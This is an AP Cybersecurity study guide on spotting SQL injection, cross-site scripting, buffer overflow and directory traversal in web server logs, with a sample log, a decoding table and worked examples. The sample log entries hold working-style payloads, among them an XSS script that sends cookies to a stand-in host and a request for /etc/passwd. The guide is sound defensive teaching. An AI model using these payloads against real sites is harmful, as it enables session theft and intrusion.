AP Cybersecurity · Study guide

Detecting App-Attack IoCs in Logs

AP® Cybersecurity · Unit 5 · Applications, Data & Cryptography

Detecting App-Attack IoCs in Logs

How to find SQL injection, cross-site scripting, buffer overflow, and directory traversal attempts in web server and application logs, and how to report them.

1What the logs record

Web servers and applications log every request: the time, the source address, the method (such as GET), and the URL, including whatever the user typed into a form. Application attacks have to travel inside those requests, so the user input in the logs is where their indicators of compromise (IoCs) show up.

Figure 1. Each application attack leaves its own signature in the request the attacker sends, which the web server writes to its log.

2The four signatures

AttackLook for in user inputWhy
SQL injectionA single or double quote (' "); Boolean conditions like OR 1=1; a double dash -- (a comment in SQL); SQL control words in capitals such as WHERE, IN, FROMThese change or end the application's database query
Cross-site scripting (XSS)Suspicious tags, especially <script>…</script>The script would run in other users' browsers
Buffer overflowLong strings in the URL, cookie, query string, or total requestToo much data can overflow the memory set aside for it
Directory traversalGET requests whose paths include sequences of ../Each ../ climbs one folder up, toward system files

3Decode before you search

Browsers URL-encode special characters, so logs often show codes instead of symbols: %27 is ', %3C is <, %3D is =, %2F is /, and + is a space. Searching the raw log for <script> would miss %3Cscript%3E. Decode the input first, then look for the signatures.

4Reading a real log

Web server access log (requests the checker flagged are highlighted)
10:01:12 198.51.100.7   GET /search?q=chemistry+notes
10:01:40 203.0.113.45   GET /search?q=x%27+OR+1%3D1--
10:02:05 203.0.113.45   GET /search?q=x%27+UNION+SELECT+name+FROM+users--
10:03:17 192.0.2.80     GET /comments?text=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.0.2.80%2F%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
10:04:02 192.0.2.144    GET /download?file=../../../etc/passwd
10:04:30 198.51.100.7   GET /download?file=syllabus.pdf
10:05:51 203.0.113.200  GET /login?user=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA… (2,612 characters)
10:06:10 198.51.100.22  GET /profile?name=O%27Brien

A short program decoded each request's input and checked it against the four signatures:

TimeDecoded user inputFinding
10:01:12q=chemistry notesnothing found
10:01:40q=x' OR 1=1--SQL injection: quote; OR 1=1; -- comment
10:02:05q=x' UNION SELECT name FROM users--SQL injection: quote; -- comment; FROM, SELECT, UNION
10:03:17text=<script>document.location='http://192.0.2.80/?c='+document.cookie</script>XSS: <script> tag
10:04:02file=../../../etc/passwddirectory traversal: ../
10:04:30file=syllabus.pdfnothing found
10:05:51user=AAAAAAAAAAAAAAAAAAAAAAAAA…buffer overflow: URL is 2,612 characters
10:06:10name=O'Briensingle indicator only (quote): check context

5 requests are attacks. The 10:06 request for O'Brien contains a quote, but nothing else from the SQL injection list; it is almost certainly a real surname. One indicator alone calls for a look at context, not an alarm.

The key idea

Decode user input in the logs, then look for the signatures: quotes, OR 1=1, --, and capitalized SQL words (SQL injection); <script> tags (XSS); unusually long URLs, cookies, query strings, or requests (buffer overflow); and ../ sequences in GET paths (directory traversal).

5Worked examples

Worked Example 1 Identify the attack

The search box

A log line reads GET /search?q=x%27+OR+1%3D1--. Decode it and identify the attack.

  1. 1
    %27 is ', %3D is =, + is a space: x' OR 1=1--.
  2. 2
    A quote closes the query's string, OR 1=1 is always true, and -- comments out the rest of the query.
Answer: SQL injection, trying to make the search return every row.
Worked Example 2 Identify the attack

The comment

Decoded, a request to /comments contains <script>document.location='http://192.0.2.80/?c='+document.cookie</script>. What is the attack and what would it do?

  1. 1
    A <script> tag in user input is the XSS signature.
  2. 2
    If stored and shown to others, it would send each viewer's cookies to 192.0.2.80.
Answer: Cross-site scripting, aimed at stealing session cookies.
Worked Example 3 Identify the attack

The 2,600-character login

A request to /login?user=AAAA… has a URL 2,600+ characters long; normal requests are under 100. Identify it.

  1. 1
    Unusually long data in the URL or query string is the buffer overflow signature.
  2. 2
    No real username is thousands of characters long.
Answer: An attempted buffer overflow.
Worked Example 4 Report an IoC

Write the finding

Report the 10:04:02 request from the log above.

  1. 1
    Quote it: GET /download?file=../../../etc/passwd from 192.0.2.144.
  2. 2
    Signature: three ../ sequences, climbing out of the download folder toward /etc/passwd.
  3. 3
    Response: check whether the server returned the file, and block the source.
Answer: Directory traversal attempt targeting /etc/passwd, from 192.0.2.144 at 10:04:02.

6Common mistakes

Common Mistake 1 · Searching the raw, encoded log

%3Cscript%3E will not match <script>. Decode first.

Common Mistake 2 · Flagging every apostrophe

Names like O'Brien contain quotes. Look for several SQL indicators together, or check what the request did.

Common Mistake 3 · Mixing up XSS and SQL injection

Script tags target other users' browsers (XSS). Quotes, OR 1=1, and SQL words target the database (SQL injection).

Report an application-attack IoC like this

“At 10:01:40, 203.0.113.45 sent GET /search?q=x%27+OR+1%3D1--. Decoded, the input is x' OR 1=1--: a quote, an always-true Boolean condition, and a SQL comment. This indicates a SQL injection attempt against the search page.”

Quote the log entry, decode it, name the signature you found, and name the attack.